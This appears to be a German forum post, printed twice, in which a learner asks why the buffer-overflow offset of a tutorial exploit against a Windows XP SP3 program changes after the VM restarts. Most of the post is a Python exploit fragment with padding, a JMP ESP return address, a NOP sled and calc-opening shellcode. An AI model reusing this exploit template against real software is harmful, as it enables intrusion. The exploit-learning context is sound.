Hallo!
Ich bin ganz neu hier und hoffe nun endlich eine zufriedenstellende Antwort zu bekommen
Ich habe bereits ein fertiges Exploit geschrieben, welches den buffer overflow ausnützt (Windows XP EN SP3). Wenn ich das python script ausführe, öffnet sich der calc. Soweit so gut (zumindest funktioniert der shellcode jetzt^^).
Wenn ich die VM aber neustarte, verändert sich der offset. Hier der Ausschnitt aus dem Skript:
#trigger the bof
offset = "\x41"*26056
#jmp to esp in loaded dll
eip = struct.pack("<I", 0x01aaf23a)
#some nops to make esp lucky^^
nops = ("\x90"*50)
#open calc.exe
shellcode = ("\xdb\xcd\xba\xd2\x87\xa3\x65\xd9\x74\x24\xf4\x58\x31\xc9"
"\xb1\x33\x83\xc0\x04\x31\x50\x13\x03\x82\x94\x41\x90\xde"
"\x73\x0c\x5b\x1e\x84\x6f\xd5\xfb\xb5\xbd\x81\x88\xe4\x71"
"\xc1\xdc\x04\xf9\x87\xf4\x9f\x8f\x0f\xfb\x28\x25\x76\x32"
"\xa8\x8b\xb6\x98\x6a\x8d\x4a\xe2\xbe\x6d\x72\x2d\xb3\x6c"
"\xb3\x53\x3c\x3c\x6c\x18\xef\xd1\x19\x5c\x2c\xd3\xcd\xeb"
"\x0c\xab\x68\x2b\xf8\x01\x72\x7b\x51\x1d\x3c\x63\xd9\x79"
"\x9d\x92\x0e\x9a\xe1\xdd\x3b\x69\x91\xdc\xed\xa3\x5a\xef"
"\xd1\x68\x65\xc0\xdf\x71\xa1\xe6\x3f\x04\xd9\x15\xbd\x1f"
"\x1a\x64\x19\x95\xbf\xce\xea\x0d\x64\xef\x3f\xcb\xef\xe3"
"\xf4\x9f\xa8\xe7\x0b\x73\xc3\x13\x87\x72\x04\x92\xd3\x50"
"\x80\xff\x80\xf9\x91\xa5\x67\x05\xc1\x01\xd7\xa3\x89\xa3"
"\x0c\xd5\xd3\xa9\xd3\x57\x6e\x94\xd4\x67\x71\xb6\xbc\x56"
"\xfa\x59\xba\x66\x29\x1e\x24\x85\xf8\x6a\xcd\x10\x69\xd7"
"\x90\xa2\x47\x1b\xad\x20\x62\xe3\x4a\x38\x07\xe6\x17\xfe"
"\xfb\x9a\x08\x6b\xfc\x09\x28\xbe\x9f\xcc\xba\x22\x4e\x6b"
"\x3b\xc0\x8e")
Nachdem ich das Exploit fertig hatte und erfolgreich laufen ließ, war der Offset um den bof zu triggern bei 26064. Nachdem die VM neugestartet wurde, musste ich den Offset anpassen- auf 26056.
Sollte der Offset nicht immer gleich bleiben...?
Danke schonmal!
Grüße,
bubble
PS.: Die Aufgabenstellung ist aus einem Tutorial. Aber ich sehe das mehr als Crackme
Ich bin ganz neu hier und hoffe nun endlich eine zufriedenstellende Antwort zu bekommen

Ich habe bereits ein fertiges Exploit geschrieben, welches den buffer overflow ausnützt (Windows XP EN SP3). Wenn ich das python script ausführe, öffnet sich der calc. Soweit so gut (zumindest funktioniert der shellcode jetzt^^).
Wenn ich die VM aber neustarte, verändert sich der offset. Hier der Ausschnitt aus dem Skript:
#trigger the bof
offset = "\x41"*26056
#jmp to esp in loaded dll
eip = struct.pack("<I", 0x01aaf23a)
#some nops to make esp lucky^^
nops = ("\x90"*50)
#open calc.exe
shellcode = ("\xdb\xcd\xba\xd2\x87\xa3\x65\xd9\x74\x24\xf4\x58\x31\xc9"
"\xb1\x33\x83\xc0\x04\x31\x50\x13\x03\x82\x94\x41\x90\xde"
"\x73\x0c\x5b\x1e\x84\x6f\xd5\xfb\xb5\xbd\x81\x88\xe4\x71"
"\xc1\xdc\x04\xf9\x87\xf4\x9f\x8f\x0f\xfb\x28\x25\x76\x32"
"\xa8\x8b\xb6\x98\x6a\x8d\x4a\xe2\xbe\x6d\x72\x2d\xb3\x6c"
"\xb3\x53\x3c\x3c\x6c\x18\xef\xd1\x19\x5c\x2c\xd3\xcd\xeb"
"\x0c\xab\x68\x2b\xf8\x01\x72\x7b\x51\x1d\x3c\x63\xd9\x79"
"\x9d\x92\x0e\x9a\xe1\xdd\x3b\x69\x91\xdc\xed\xa3\x5a\xef"
"\xd1\x68\x65\xc0\xdf\x71\xa1\xe6\x3f\x04\xd9\x15\xbd\x1f"
"\x1a\x64\x19\x95\xbf\xce\xea\x0d\x64\xef\x3f\xcb\xef\xe3"
"\xf4\x9f\xa8\xe7\x0b\x73\xc3\x13\x87\x72\x04\x92\xd3\x50"
"\x80\xff\x80\xf9\x91\xa5\x67\x05\xc1\x01\xd7\xa3\x89\xa3"
"\x0c\xd5\xd3\xa9\xd3\x57\x6e\x94\xd4\x67\x71\xb6\xbc\x56"
"\xfa\x59\xba\x66\x29\x1e\x24\x85\xf8\x6a\xcd\x10\x69\xd7"
"\x90\xa2\x47\x1b\xad\x20\x62\xe3\x4a\x38\x07\xe6\x17\xfe"
"\xfb\x9a\x08\x6b\xfc\x09\x28\xbe\x9f\xcc\xba\x22\x4e\x6b"
"\x3b\xc0\x8e")
Nachdem ich das Exploit fertig hatte und erfolgreich laufen ließ, war der Offset um den bof zu triggern bei 26064. Nachdem die VM neugestartet wurde, musste ich den Offset anpassen- auf 26056.
Sollte der Offset nicht immer gleich bleiben...?
Danke schonmal!
Grüße,
bubble
PS.: Die Aufgabenstellung ist aus einem Tutorial. Aber ich sehe das mehr als Crackme

Zuletzt bearbeitet: